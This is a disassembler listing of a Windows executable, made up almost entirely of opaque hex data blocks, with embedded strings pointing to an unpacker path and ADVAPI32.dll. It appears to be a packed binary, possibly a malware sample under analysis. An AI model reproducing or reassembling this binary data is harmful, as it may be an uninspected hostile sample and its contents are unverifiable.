		dd 79F402ECh, 58345840h, 0B5E440A0h, 0B9C23C09h, 600C906Ah
		dd 34A2002Eh, 41A48E47h, 0E23D463Dh, 4B230673h,	0F290F10h
		dd 0AABE59F3h, 0D62FDB60h, 0D0C0F08Fh, 40F22934h, 0B5470951h
		dd 0B002DDCEh, 610EF0Eh, 46A80030h, 0F44F5462h,	9419868Ch
		dd 0EF402760h, 1280FCCh, 0B42F035h, 814F58C0h, 0A87B12B1h
		dd 56FC7A9Ah, 63F206E0h, 216B37F4h, 0A90A70B0h,	0B46F098Fh
		dd 36020C22h, 2B581560h, 0DDB090EEh, 7F4B74C4h,	7FB70070h
		dd 0A042DFCEh, 9C001E6Bh, 0F9D662B1h, 3B33406Ah, 182E5A76h
		dd 0C7800218h, 0BC44EE7Ah, 1B791D00h, 94222D6Eh, 122075B9h
		dd 4E98D2h, 0F1ED5D57h,	0D777BC08h, 0FD0967E0h,	8449301Eh
		dd 5940BE50h, 9D16ECC0h, 3182700h, 30B25054h, 121CE85h
		dd 4B80994Eh, 0C8A51C41h, 1D8F3600h, 0A22DED8Dh, 0F0B45D5Dh
		dd 5AEE9C07h, 381159D6h, 3023E24Ch, 8D5100BDh, 94F9F65Bh
		dd 733B6FACh, 0CFD7807Ah, 0C98C9034h, 7DE0B082h, 0BF2051A0h
		dd 0D2644180h, 0CBB2C07Bh, 52356F00h, 8CA654B9h, 0FDF11F5Ah
		dd 0E0C34142h, 4066A37Dh, 5885E6FCh, 0B4E9BE02h, 0E6D75AAFh
		dd 844249D4h, 25B44583h, 0C6599198h, 0E2D84F02h, 0E0BADC01h
		dd 880C28F0h, 540A1965h, 0C8E0BF58h, 4C0B7597h,	78348A50h
		dd 0C42FCBC2h, 0F0C30038h, 0E74F2B9Ah, 7A00FF18h, 0AD551342h
		dd 1363C0C1h, 95CDD3Eh,	0E800E0F0h, 397F64EDh, 0B00C7818h
		dd 2E75E3A0h, 488847h, 611DE992h, 8E10B212h, 0C80A69C3h
		dd 1543E59h, 327F6E86h,	0BC40E6D1h, 3130F249h, 7802918Ah
		dd 5E400F16h, 3FE67F89h, 0C04C3906h, 0F0521727h, 0EEF66020h
		dd 0D8160030h, 0B2073DC7h, 6C710D45h, 0EACC7901h, 6DF0CA6Bh
		dd 5630A0D6h, 1C9A952h,	611C5E5Dh, 624F6660h, 0D46F0054h
		dd 0E1931415h, 6BE60036h, 0C9D7C10Fh, 3496EE1Bh, 2A8D80BDh
		dd 95F84EAEh, 354D0183h, 0A3D56662h, 0CB4C7002h, 6FCD7418h
		dd 39D93B08h, 1980AF9Fh, 0D0440FBDh, 5F500390h,	0C08BA8CCh
		dd 0CA7887h, 0C9E56876h, 0C8561C0Eh, 23F04725h,	0B08F205Ch
		dd 0CD690F3h, 594FBDD1h, 4EE854B9h, 3CE73600h, 97EF8C5h
		dd 9F1B0725h, 527C632Ch, 0A4AE0D1Fh, 0F96283A0h, 24141944h
		dd 12ECBF6Dh, 60C8B5EFh, 0DEAE03F2h, 7037F7C2h,	0C30BFBE0h
		dd 36A3F100h, 280E45A2h, 0CE610DEDh, 0E4406E4Ch, 0C200DC90h
		dd 795B869Ch, 33C8BE64h, 0CDE1B22Fh, 0BFC967F0h, 0C1A9BA00h
		dd 74C55E2Ch, 9622001Eh, 8DF68A3h, 7C9610F7h, 72C1B080h
		dd 44586353h, 0C9050151h, 0B25A4B92h, 0BF31BC81h, 28161BAh
		dd 82FF6284h, 0E1DE20BBh, 0B3D5A619h, 80481021h, 0F48E0796h
		dd 39768F4Bh, 56CA5800h, 0D21B44B2h, 0C031BB2Fh, 81C35Ah
		dd 99352D26h, 3674E5AEh, 0CA039307h, 0DF00078Fh, 2F27C3h
		dd 65B7383Ah, 0A611E8CBh, 0A430E018h, 0E5CF49h,	0F1C99098h
		dd 2845A332h, 0FB8C5401h, 0DD9E3765h, 6BED0460h, 8C073155h
		dd 0E9D7D13Ah, 0F20C31D8h, 8A593810h, 0B8009046h, 8EFBC5A8h
		dd 48706198h, 0B0716A54h, 0F6A009Ch, 9437DD49h,	24B9EE99h
		dd 0B4CBF3Ah, 81F5D47Bh, 3C59CB79h, 0B51C2C2Dh,	201F56BFh
		dd 4D340F7Ch, 19024CB8h, 533D8A71h, 38FC8439h, 0D54E0CC0h
		dd 0F56FC9Fh, 6745F11Ch, 3C84B26Fh, 3640C0E0h, 8F129988h
		dd 0F81EDB10h, 2D26D82Eh, 0F80A293Fh, 0D567D81h, 0D8300FF0h
		dd 48AA0036h, 6B2CF2A3h, 433FE96Ch, 8CB22449h, 8D55A05h
		dd 0AE1E8C21h, 383290F1h, 315A5C04h, 76DE4007h,	0F0F7220Ah
		dd 3F7B14AAh, 4007B40Ch, 0C4B4C67Fh, 6A4C2FEh, 124F421h
		dd 8886B448h, 0C1015E4Dh, 0EB47B1BBh, 0C520ACB0h, 94070764h
		dd 0C10292FFh, 0EAC478D0h, 0D0B1B450h, 4E6E6780h, 3B48293Dh
		dd 0CE9D6DA6h, 463782ABh, 0E4EE9Dh, 0A60F2E02h,	402B2210h
		dd 18A98EAh, 0CB915CB9h, 30C06A4Fh, 1D01E6B8h, 22AD4E9Dh
		dd 3AF0F4E3h, 93B211A8h, 1EF900C2h, 6487BF60h, 7F6B09B7h
		dd 38E4B4C0h, 11F9F100h, 0BB83B06Ch, 0C9E01E96h, 3800626Ah
		dd 723BE807h, 0F5CDB0h,	85F81E1Fh, 0B7BFD390h, 31578F13h
		dd 0AAE05C90h, 0B0A6FE52h, 0F8D63A8Ch, 0D43CEA14h, 80617818h
		dd 17009B40h, 9CC7BFF7h, 0A8711Eh, 0FD7F4128h, 0FBEE06Fh
		dd 0FF7B6EE0h, 3E720B00h, 35F043E8h, 0B9F20097h, 0CBBB8FC0h
		dd 2900A6DBh, 7D24CAE7h, 0FD9CC54h, 4A5FC256h, 555EB080h
		dd 0C97AE4EBh, 69E2071Fh, 72145403h, 0C377A098h, 68FE58C5h
		dd 6DF95500h, 7F43EBAFh
		dd 0F1253E00h, 5B94D9A4h, 8F541DE5h, 0B7B30190h, 984C04A6h
		dd 0FC387F90h, 611B0153h, 0AE36BEA5h, 0E84080ABh, 182CEE10h
		dd 9DAD000Bh, 3E753EFh,	3718840Eh, 7B69D9C6h, 256700BBh
		dd 2E6D71D0h, 84001EAAh, 257A8A0h, 0C076C9B4h, 7053B878h
		dd 39D8EDBEh, 63AFE0h, 0E8FFE121h, 0DFB9AF2h, 5E2EC3F8h
		dd 8263275h, 68A26F03h,	0DB1002Eh, 0FC633F94h, 0B0002CD6h
		dd 427DC6BDh, 77084D04h, 61D2606Dh, 0DE0A958Dh,	769CA800h
		dd 65CAA80h, 0C39D2ACEh, 0E0750FCCh, 0F1386C2Fh, 1500673Ch
		dd 5CEB1FDEh, 0C56320h,	5E2AB6B3h, 9B26B5C9h, 88486003h
		dd 0E7D84B97h, 0A3D8ECh, 0F7AEC9DFh, 0C3454987h, 2DEB6601h
		dd 47698092h, 3F62C6E0h, 8C00AAE9h, 1D6B3C16h, 8A313744h
		dd 0A3C2F05Eh, 2329CC0h, 6DFC4E61h, 9490ECCBh, 2B097554h
		dd 218BC3D9h, 0EABC6E24h, 1D1421BEh, 97060C80h,	1173040Eh
		dd 1B35A10Fh, 3A8B8025h, 16307B8h, 620F3779h, 301D1CECh
		dd 3218A333h, 56083E41h, 88A854B0h, 0FC820257h,	0B3E645D8h
		dd 0AD6EE481h, 0B0798C70h, 0A129AAh, 0EE2199C1h, 0BA4E849Ch
		dd 0AFE6110Ch, 0F6AD2191h, 0D6A50038h, 29BD74CDh, 7207476Eh
		dd 0FFE731Fh, 0D95FEBC0h, 90C6024Eh, 4106A6A3h,	538CF8A0h
		dd 0CF06FFFDh, 3A68BCF5h, 999C0019h, 39C34229h,	621C61F4h
		dd 97036A60h, 0E88AA52Ah, 1885D151h, 0C014212Fh, 0C37A615h
		dd 54C34132h, 1AA17C42h, 0FCD9D7BEh, 6DD28881h,	0E911E7ADh
		dd 0A000A7AFh, 0F2DCCEEEh, 68792EB6h, 59F07C18h, 14EFFEA0h
		dd 0CCCA6F4Dh, 0B7F56780h, 99188DF6h, 0D5794868h, 0D7F1004Dh
		dd 0B34C9598h, 2A3A13F6h, 89770452h, 88084FBh, 0F8C63B6h
		dd 0AFA696FDh, 80A9B504h, 675C5098h, 0E03A830Ah, 0B316B3F7h
		dd 0F888370Ah, 58992480h, 2ED36A91h, 435D1A6h, 809B4D9Ah
		dd 0BA9822B4h, 0DBFF6103h, 2E9E4F2Fh, 0CF6DD9h,	74E226CDh
		dd 3648EF68h, 61110680h, 0A7D1D5D1h, 295C80B8h,	0AF6E6035h
		dd 3A0891h, 305493C3h, 1F871D8Ch, 40B3259Ch, 0A8EF34Eh
		dd 9EE0FEC4h, 0FF008870h, 0F40138A3h, 260B35Eh,	5B2948D4h
		dd 5081AF69h, 0C13A35DAh, 56A02A22h, 6719C08Ch,	0C11BD464h
		dd 0ECF6D200h, 15462760h, 58C61F17h, 0FFE6408Fh, 0EDFAD5Ah
		dd 9AA3C501h, 7653BA68h, 0A5CCCC20h, 0F6FFFF01h, 0C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_583DBA:				; CODE XREF: start:loc_515265j
					; DATA XREF: start:loc_515086o
		jmp	loc_587353
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
aIs		db '·ëè|',0
		dd 6 dup(0)
		dd 0DF029400h, 0A9C530h, 2 dup(0)
		dd 0E8000000h, 529AB2h,	0
		dd 77000000h, 237C801Dh, 5800h,	0
		dd 0A6000000h, 99C7Dh, 5B000000h, 76B44Eh, 9 dup(0)
		dd 1E000000h, 94005D3Dh, 7C90EBh, 14000000h, 1D001150h
		dd 0F6h, 3 dup(0)
		dd 47000000h, 947C809Bh, 0AD7C90EBh, 947E41A8h,	7C90EBh
		dd 94000000h, 7C90EBh, 0
		dd 0E6000000h, 0F2005C14h, 7C814Ah, 7 dup(0)
		dd 0F000000h, 0B118h, 0E6000000h, 0FFA19Fh, 6 dup(0)
		dd 0A600h, 7 dup(0)
		dd 47000000h, 0E97C809Bh, 1C8h,	0E4000000h, 0B18Eh, 3 dup(0)
		dd 0CE000000h, 0
		dd 43000000h, 5C5Fh, 4 dup(0)
		dd 0E0000000h, 500012FFh, 3AB056h, 6000000h, 0FAFFFFAEh
		dd 45D5C7h, 0
		dd 0DF000000h, 0A9C530h, 37000000h, 0E4A3D6h, 6	dup(0)
		dd 1000000h, 0Dh dup(0)
		dd 0B3000000h, 15h, 2 dup(0)
		dd 94000000h, 7C90EBh, 4 dup(0)
		dd 90000000h, 76F217h, 0Eh dup(0)
		dd 3000000h, 0FAh, 0
		dd 92000000h, 5B6Dh, 8 dup(0)
		dd 0FD000000h, 0FF4E05h, 0FE000000h, 5B17h, 0
		dd 0AC000000h, 5CECh, 0
		dd 4B000000h, 5C37h, 2 dup(0)
		dd 74000000h, 3F865559h, 6C7EFFh, 8000000h, 0B1B5h, 0
		dd 0F9000000h, 7C90DDh,	94000000h, 7C90EBh, 5 dup(0)
		dd 94000000h, 337C90EBh, 2 dup(33333333h), 65333333h, 200000B9h
		dd 796124h, 2 dup(0)
		dd 6000000h, 4 dup(0)
		dd 0B0000000h, 252FFh, 2 dup(0)
		dd 0A5000000h, 43097D8Eh, 5F6D5C3Ah, 61706E75h,	72656B63h
		dd 83h dup(0)
		dd 2C0h, 65h dup(0)
		dd 94000000h, 7C90EBh, 43000000h, 56h, 7 dup(0)
		dd 0E9000000h, 9Dh, 4 dup(0)
		dd 94000000h, 7C90EBh, 3000000h, 0B1FAh, 1D000000h, 71FFA797h
		dd 76DB5Fh, 0Ah	dup(0)
		dd 5B000000h, 79BF32h, 5 dup(0)
		dd 48000000h, 5E66h, 2 dup(0)
		dd 0FC000000h, 386CBBh,	2 dup(0)
		dd 9E000000h, 5D0610h, 5 dup(0)
		dd 0E7000000h, 0E7E4125Ah, 940002C7h, 7C90EBh, 0
		dd 20000000h, 5E4Ch, 0
		dd 88000000h, 0B0005BA7h, 1A2FFh, 9 dup(0)
		dd 4A000000h, 4D5864h, 5 dup(0)
		dd 0B7000000h, 5FDDh, 0
		dd 55000000h, 0BB3Bh, 89000000h, 90FFA3DCh, 7, 3 dup(0)
		dd 30000000h, 0E8005843h, 529AB2h, 7 dup(0)
		dd 94000000h, 7C90EBh, 3 dup(0)
		dd 7000000h, 215AEEh, 0
		dd 38000000h, 26h, 2 dup(0)
		dd 20000000h, 0B18Dh, 3	dup(0)
		dd 92000000h, 0FFFEF4h,	4 dup(0)
		dd 4000000h, 6 dup(0)
		dd 31000000h, 6100h, 2 dup(0)
		dd 0FD000000h, 0FF4E05h, 0EE026E00h, 5DA6h, 56000000h
		dd 3D47AA11h, 52703808h, 179h, 0Bh dup(0)
		dd 0E6000000h, 34005C14h, 0FE8E09h, 68000000h, 7A6ADCh
		dd 2 dup(0)
		dd 55000000h, 0BB3Bh, 4	dup(0)
		dd 0E8000000h, 1529AB2h, 0C0000000h, 5DC8h, 0
		dd 0D4000000h, 94005CC9h, 7C90EBh, 0FF000000h, 0FFFFFFh
		dd 7 dup(0)
		dd 0B0000000h, 0DBC51h,	11h dup(0)
		dd 0E8000000h, 529AB2h,	0Fh dup(0)
		dd 92000000h, 5B6Dh, 3 dup(0)
		dd 76000000h, 5878h, 6 dup(0)
		dd 27000000h, 0A9h, 0
		dd 0B0000000h, 0DBC51h,	0
		dd 3B000000h, 94005CF9h, 7C90EBh, 0
		dd 0AD000000h, 7E41A8h,	3 dup(0)
		dd 2C000000h, 25300h, 0A7000000h, 5C58h, 0
		dd 0A2000000h, 587Ch, 34000000h, 600Bh,	2 dup(0)
		dd 0B100h, 2 dup(0)
		dd 0B1000000h, 0D8h, 9 dup(0)
		dd 71000000h, 76DB5Fh, 2 dup(0)
		dd 0CF000000h, 0C17C80B4h, 7C80ABh, 4 dup(0)
		dd 18000000h, 0B129h, 0
		dd 6C000000h, 836F14h, 3 dup(0)
		dd 0A3000000h, 0FFA023h, 0F0000000h, 480012FFh,	5EBDh
		dd 65000000h, 7CED5Ch, 5 dup(0)
		dd 0E000000h, 5DB3h, 0A000000h,	60ECh, 0
		dd 3D000000h, 27703808h, 0FFA162h, 1B000000h, 5846h, 0B0000000h
		dd 1C2FFh, 4 dup(0)
		dd 0E8000000h, 529AB2h,	0
		dd 7000000h, 5BA5h, 4 dup(0)
		dd 0D4000000h, 42F3E8A3h, 0B118h, 0
		dd 5000000h, 23000089h,	0DE005800h, 47C80ABh, 5F68h, 0
		dd 0EE1114h, 44000000h,	0C246DAh, 2 dup(0)
		dd 0BA000000h, 5F81h, 0C4000000h, 12FFh, 4 dup(0)
		dd 5C00h, 3D000000h, 4774B45Fh,	447C809Bh, 900000DAh, 24h
		dd 7 dup(0)
		dd 0C4000000h, 23FD3B9Fh, 5800h, 5 dup(0)
		dd 37000000h, 440D2Bh, 400021B0h, 13A0E4h, 2Bh dup(0)
		dd 0E9000000h, 20Eh, 6 dup(0)
		dd 10000000h, 9476F215h, 7C90EBh, 2 dup(0)
		dd 0C2000000h, 5513h, 0A8000000h, 0FD1B96h, 4 dup(0)
		dd 0B6000000h, 5B1Dh, 6	dup(0)
		dd 0F0000000h, 0FFFFD8h, 2 dup(0)
		dd 88000000h, 5	dup(0)
		dd 1A000000h, 0FFA3EBh,	10h dup(0)
		dd 0E000000h, 5FDCh, 94000000h,	7C90EBh, 4 dup(0)
		dd 70000000h, 3, 1C000000h, 26h, 0Bh dup(0)
		dd 0D9000000h, 5B1Ah, 2	dup(0)
		dd 55000000h, 3A00BB3Bh, 2982D2h, 0B7000000h, 0A076F5h
		dd 2 dup(0)
		dd 27000000h, 0A9h, 36000000h, 94000080h, 0CC000000h, 0B13Eh
		dd 94000000h, 5B00003Dh, 76F36Ch, 4 dup(0)
		dd 0DF000000h, 0E67108h, 18000000h, 97BC2A8h, 0C47C812Ah
		dd 0FE8F9Fh, 0
		dd 0E6000000h, 5C14h, 8C000000h, 0E60D137Eh, 30005C14h
		dd 5CBAh, 2 dup(0)
		dd 0DC000000h, 0EB742Bh, 0E6000000h, 0E9005C14h, 2D19EFh
		dd 94000000h, 7C90EBh, 0E6000000h, 95005C14h, 9AF4C1h
		dd 19000000h, 6	dup(0)
		dd 0F7000000h, 92005854h, 5B6Dh, 7 dup(0)
		dd 0EB000000h, 19h, 2 dup(0)
		dd 54000000h, 696D6568h, 6164h,	1Dh dup(0)
		dd 27000000h, 7C90E0h, 2 dup(0)
		dd 0D8000000h, 0FEFC28h, 9 dup(0)
		dd 6B000000h, 6BD3CAh, 2Ah dup(0)
		dd 43000000h, 43A65Fh, 3 dup(0)
		dd 3000000h, 80000FAh, 14h, 0A3000000h,	0FFFFE4h, 0FF000000h
		dd 0B188h, 49000000h, 0FF5EF4D7h, 0C6987h, 0
		dd 57000000h, 7C8049h, 3 dup(0)
		dd 27000000h, 0A9h, 0FB000000h,	0F577ED4Bh, 395B6Eh, 2 dup(0)
		dd 11000000h, 111111h, 0Ah dup(0)
		dd 0B7000000h, 5FB1h, 0
		dd 0E3000000h, 8102FAh,	4000h, 4 dup(0)
		dd 7C000000h, 18B954h, 7 dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 0E6000000h, 94005C14h, 7C90EBh, 7C000000h, 5E50h, 3 dup(0)
		dd 92000000h, 7CFFEA02h, 18000000h, 0FEF337h, 0Dh dup(0)
		dd 0C0000000h, 5BF1h, 2	dup(0)
		dd 8B000000h, 0DE3DB1h,	84000000h, 0
		dd 0E9000000h, 20Eh, 4 dup(0)
		dd 0F000000h, 0B118h, 4	dup(0)
		dd 0C0000000h, 23005BF1h, 5C00h, 0
		dd 64000000h, 5C8Dh, 4 dup(0)
		dd 54026F00h, 0F80012FFh, 5C14h, 0
		dd 37000000h, 440D2Bh, 32000000h, 0B48Bh, 0DE000000h, 37006176h
		dd 0AF00B1FAh, 7D0690h,	0ED000000h, 5C61h, 0D9000000h
		dd 5B1Ah, 3 dup(0)
		dd 15000000h, 2C3B7h, 2	dup(0)
		dd 0DA000000h, 7C81CDh,	9 dup(0)
		dd 5F000000h, 0FE3216h,	3 dup(0)
		dd 3000000h, 4300B1FAh,	49575C3Ah, 574F444Eh, 79735C53h
		dd 6D657473h, 415C3233h, 50415644h, 2E323349h, 6C6C64h
		dd 3Ch dup(0)
		dd 43000000h, 5Fh, 3 dup(0)
		dd 0EE000000h, 5DF5h, 2	dup(0)
		dd 0D4000000h, 25C6Dh, 90000000h, 5DE1h, 2 dup(0)
		dd 18000000h, 0AD654Dh,	6 dup(0)
		dd 33000000h, 194AB3h, 0CA000000h, 0D6254Fh, 8 dup(0)
		dd 0E3000000h, 52B791h,	4 dup(0)
		dd 0B100h, 86000000h, 114348h, 44000000h, 0DDB55Ch, 0
		dd 0A6000000h, 5DF4h, 0B0000000h, 172FFh, 6 dup(0)
		dd 47000000h, 0EC7C809Bh, 0B137h, 0Bh dup(0)
		dd 0A0000000h, 3 dup(0)
		dd 18000000h, 1005CEAh,	0
		dd 23000000h, 5C00h, 4 dup(0)
		dd 0D4000000h, 0FFFF0Eh, 2 dup(0)
		dd 19000000h, 80h, 0E5000000h, 5900B731h, 27005E74h, 0A9h
		dd 0
		dd 23000000h, 0DA005800h, 7C8111h, 4 dup(0)
		dd 0A000000h, 4E0060ECh, 0C2E92Dh, 0
		dd 0F7000000h, 84116354h, 0C0005DF6h, 5DC8h, 0BD000000h
		dd 0B9BC59A0h, 0F1901h,	0
		dd 0F1000000h, 0FF4EE7h, 0
		dd 7E4100h, 9 dup(0)
		dd 0C8000000h, 12FEh, 25300h, 5	dup(0)
		dd 92000000h, 5B6Dh, 0
		dd 8C000000h, 0
		dd 0BF000000h, 0FF43E6h, 23000000h, 5800h, 55000000h, 100BB3Bh
		dd 2 dup(0)
		dd 9C000000h, 54000000h, 0B80012FFh, 0
		dd 374C00Bh, 8B0018C2h,	530C2444h, 0E8h, 0C3815B00h, 17h
		dd 10245C89h, 14244489h, 0FA37B85Bh, 0E0FF00B1h, 424448Bh
		dd 0E0FFh, 12h dup(0)
		dd 4000000h, 0D5E8BFh, 2 dup(0)
		dd 55000000h, 0BB3Bh, 3	dup(0)
		dd 60000000h, 5BA7h, 0
		dd 0BC000000h, 71EDD9h,	0B6000000h, 0FB2A79Bh, 0B118h
		dd 2 dup(0)
		dd 0E0000000h, 12FFh, 0
		dd 5C000000h, 94FFED00h, 797C90EBh, 35956F5h, 5CFAh, 0
		dd 0F0000000h, 0B119h, 0F8000000h, 4 dup(0)
		dd 87000000h, 5853h, 0
		dd 0A2000000h, 5CE4E0A8h, 3, 8 dup(0)
		dd 36000000h, 363636h, 9 dup(0)
		dd 0B0000000h, 162FFh, 0
		dd 0AC000000h, 94000000h, 7C90EBh, 0FC000000h, 0F00A9F9h
		dd 0B118h, 3 dup(0)
		dd 4F0h, 43000000h, 43A65Fh, 6 dup(0)
		dd 6C000000h, 38836F14h, 0B5ADC4h, 0
		dd 0B3000000h, 53D1D5h,	0D9000000h, 0FFFF56h, 3	dup(0)
		dd 0D9000000h, 5E9Dh, 0
		dd 4000h, 5 dup(0)
		dd 2000000h, 0AA000000h, 350285h, 3 dup(0)
		dd 0A1000000h, 0B1AEh, 94000000h, 0EBh,	8A7C9000h, 7C2FFFh
		dd 0Ah dup(0)
		dd 0F0000000h, 0A4025C6Eh, 12FFh, 3 dup(0)
		dd 5C000000h, 3Ch, 2 dup(0)
		dd 78000000h, 0B691h, 0
		dd 0DE000000h, 6176h, 2	dup(0)
		dd 0F8000000h, 5DE3h, 5	dup(0)
		dd 90000000h, 5D8737h, 20000000h, 0FFFFD2h, 0Fh	dup(0)
		dd 20000000h, 0B119h, 6	dup(0)
		dd 2F000000h, 5843h, 2 dup(0)
		dd 26D00h, 98000000h, 4	dup(0)
		dd 44000000h, 68h, 2 dup(0)
		dd 0B7000000h, 0DFDB7EFh, 7A00B48Bh, 77F1E21Ah,	5C23h
		dd 6 dup(0)
		dd 0E6000000h, 0F7005C14h, 116354h, 0DB000000h,	33005CD1h
		dd 194AB3h, 4 dup(0)
		dd 51000000h, 0B18Eh, 0F2000000h, 0A42F82h, 2 dup(0)
		dd 0FE000000h, 53CF7Eh,	0Dh dup(0)
		dd 94000000h, 5E7C90EBh, 0DC005E63h, 5FF2h, 0
		dd 1000000h, 0
		dd 2F000000h, 5CBAh, 0E000000h,	7C8018h, 2 dup(0)
		dd 0AC000000h, 52FFED00h, 61747365h, 70417472h,	78652E70h
		dd 65h,	2 dup(0)
		dd 0BE000000h, 5C35h, 27004010h, 0FFA19Bh, 0FE000000h
		dd 3753CF7Eh, 77DDEEh, 5 dup(0)
		dd 18000000h, 7C90EEh, 2 dup(0)
		dd 0E0000000h, 1FFFFA2h, 0
		dd 0D000000h, 717A8Ch, 3 dup(0)
		dd 0E9000000h, 24000180h, 0B10Eh, 0
		dd 78000000h, 0B428h, 2	dup(0)
		dd 38000000h, 5D4Dh, 2 dup(0)
		dd 0AC000000h, 76763732h, 0E4005878h, 5864h, 4 dup(0)
		dd 12000000h, 6	dup(0)
		dd 2D000000h, 6106h, 4 dup(0)
		dd 0E6000000h, 1005C14h, 5 dup(0)
		dd 0DF000000h, 0A9C530h, 0
		dd 0EC000000h, 7635A2h,	0
		dd 94000000h, 0A17C90EBh, 4B346Fh, 0
		dd 27000000h, 0A9h, 2 dup(0)
		dd 2000000h, 514B37F0h,	5D18h, 6 dup(0)
		dd 44000000h, 29C246DAh, 43000000h, 5Fh, 2 dup(0)
		dd 75000000h, 49h, 0E5000000h, 0B41DA7CBh, 0Fh,	0Fh dup(0)
		dd 0B000000h, 25C6Eh, 0
		dd 0AD000000h, 0B3FCh, 3 dup(0)
		dd 83000000h, 177DD78h,	7C8000h, 2 dup(0)
		dd 0DC000000h, 46DCFA32h, 5CDBh, 0
		dd 94000000h, 7C90EBh, 8 dup(0)
		dd 51000000h, 0DF37CA5Dh, 30h, 4 dup(0)
		dd 55000000h, 0BB3Bh, 1000000h,	0
		dd 7C000000h, 0
		dd 0E0000000h, 5C6Ch, 0F1000000h, 5FFDh, 0Dh dup(0)
		dd 14000000h, 8Ch, 0
		dd 0D9000000h, 1A59C3h,	11h dup(0)
		dd 78000000h, 185A131Ch, 7C90EEh, 6 dup(0)
		dd 0FF000000h, 0FFFFFFh, 0
		dd 0F000000h, 0B118h, 0
		dd 0C100h, 7 dup(0)
		dd 6C000000h, 836F14h, 2 dup(0)
		dd 0DD000000h, 5F48h, 2	dup(0)
		dd 0F000000h, 0B73Fh, 0Ah dup(0)
		dd 80000000h, 2	dup(0)
		dd 24000000h, 7C801Ah, 0Ch dup(0)
		dd 0E1000000h, 0F75A4288h, 0BC00B41Ch, 0
		dd 33000000h, 5E66h, 0Ah dup(0)
		dd 1000000h, 0
		dd 25000000h, 0B300B10Ah, 5DA3h, 2 dup(0)
		dd 68000000h, 2	dup(0)
		dd 30h,	2 dup(0)
		dd 96000000h, 5DA4h, 0D9000000h, 7FAD96B3h, 197608h, 94000000h
		dd 5D7C90EBh, 5FDCh, 2 dup(0)
		dd 1A00h, 0
		dd 0FE000000h, 53CF7Eh,	74000000h, 0A3000000h, 27CDA680h
		dd 0A9h, 3 dup(0)
		dd 0B6000000h, 0B2A79Bh, 4 dup(0)
		dd 76000000h, 5878h, 0
		dd 1000000h, 200h, 2 dup(0)
		dd 44000000h, 0BE5BDh, 14000000h, 9A28A000h, 5880h, 2 dup(0)
		dd 59000000h, 0F47A5B7h, 0B118h, 2 dup(0)
		dd 0D9000000h, 48BAD5A5h, 0FFFF85h, 0EC000000h,	5E64h
		dd 5 dup(0)
		dd 94000000h, 7C90EBh, 3 dup(0)
		dd 7A000000h, 9, 0A8000000h, 300144Bh, 29h, 2 dup(0)
		dd 55000000h, 0BB3Bh, 2	dup(0)
		dd 54000000h, 4B0012FFh, 5DF6h,	2 dup(0)
		dd 9A000000h, 5C2Dh, 0
		dd 7E000000h, 0CF005F47h, 0A8h,	4 dup(0)
		dd 23000000h, 5800h, 6 dup(0)
		dd 0EB000000h, 94005E4Dh, 7C90EBh, 2 dup(0)
		dd 28000000h, 0B18Bh, 3	dup(0)
		dd 0BC000000h, 12FEh, 2	dup(0)
		dd 3A000000h, 2982D2h, 5D000000h, 5AC7E9h, 6 dup(0)
		dd 18000000h, 0BD7C90EEh, 0D9747Ah, 61000000h, 5C80h, 7A000000h
		dd 42F1E21Ah, 0E5072DDAh, 0F0C179h, 4 dup(0)
		dd 14000000h, 5E2Bh, 15h dup(0)
		dd 0A4000000h, 2 dup(0)
		dd 17000000h, 0D000B194h, 4001h, 0
		dd 5D000000h, 7632597Fh, 5E03h,	5 dup(0)
		dd 68000000h, 5D7Eh, 2 dup(0)
		dd 1D000000h, 0DDAA0Dh,	3 dup(0)
		dd 37000000h, 500090h, 0
		dd 0FC000000h, 68h, 2 dup(0)
		dd 0E5000000h, 50006010h, 86A1E8h, 0Fh dup(0)
		dd 20000000h, 0FC00B119h, 7C8047h, 2 dup(0)
		dd 2C000000h, 0FFFFF1h,	5F64h, 4 dup(0)
		dd 58000000h, 7C863Fh, 2 dup(0)
		dd 0ED000000h, 5BA4h, 7	dup(0)
		dd 0C1000000h, 5C4Fh, 0ED000000h, 5FC2h, 5F000000h, 5C15h
		dd 4 dup(0)
		dd 8000000h, 0Fh, 20h, 0
		dd 18000000h, 7C90EEh, 3 dup(0)
		dd 69000000h, 10800h, 17h dup(0)
		dd 0B5000000h, 0F830F4h, 0E0000000h, 6CFFA45Fh,	7 dup(0)
		dd 44000000h, 0C246DAh,	0
		dd 0A0000000h, 147C80ADh, 28A000h, 19h dup(0)
		dd 90000000h, 5EDCF3h, 44000000h, 0F00B11Ah, 0B118h, 8 dup(0)
		dd 92000000h, 5B6Dh, 0
		dd 6C000000h, 0A3836F14h, 51001980h, 5FC6h, 2 dup(0)
		dd 7E000000h, 2	dup(0)
		dd 0AC000000h, 4 dup(0)
		dd 0B0000000h, 401F2FFh, 0
		dd 23000000h, 5800h, 0
		dd 4000000h, 0
		dd 47000000h, 0DE7C809Bh, 49D82Ah, 18000000h, 7C90EEh
		dd 0B7000000h, 78B8C84Fh, 0B35EC1h, 5 dup(0)
		dd 27000000h, 0A9h, 2 dup(0)
		dd 0E4000000h, 0FFFF98h, 7 dup(0)
		dd 3000000h, 0FAh, 36000000h, 0BB3Bh, 1000000h,	0DE000000h
		dd 59264Dh, 0
		dd 47000000h, 89B3EAh, 6C026D00h, 836F14h, 74000000h, 7C9348h
		dd 3 dup(0)
		dd 11000000h, 2, 0
		dd 87000000h, 4700A7D2h, 86AAB6h, 2E000000h, 5E00h, 2 dup(0)
		dd 44000000h, 0C246DAh,	0ED7C8000h, 5C61h, 7 dup(0)
		dd 9C000000h, 937CDFEFh, 0B224h, 0B0000000h, 940DBC51h
		dd 7C90EBh, 1000000h, 6C000000h, 0Fh, 0AFh dup(0)
		dd 45000000h, 187C8379h, 70000008h, 18000000h, 7C90EEh
		dd 3C000000h, 0B11Ah, 7000000h,	0FFA380h, 0
		dd 44000000h, 0FFFFFFh,	0
		dd 78000000h, 0Ah dup(0)
		dd 94000000h, 7C90EBh, 8D000000h, 1E108Dh, 23000000h, 5800h
		dd 0
		dd 0FA000000h, 1005C51h, 94000000h, 7C90EBh, 3 dup(0)
		dd 0E000000h, 5BF0h, 0E5000000h, 77DDEDh, 0F6000000h, 0BC005DFFh
		dd 36FFFF2Bh, 21005EDBh, 0BD212121h, 0BC59A0h, 2 dup(0)
		dd 6A000000h, 0FFA25Bh,	0E9000000h, 26h, 0
		dd 0E8000000h, 0B100h, 0
		dd 5000000h, 0A2801h, 4	dup(0)
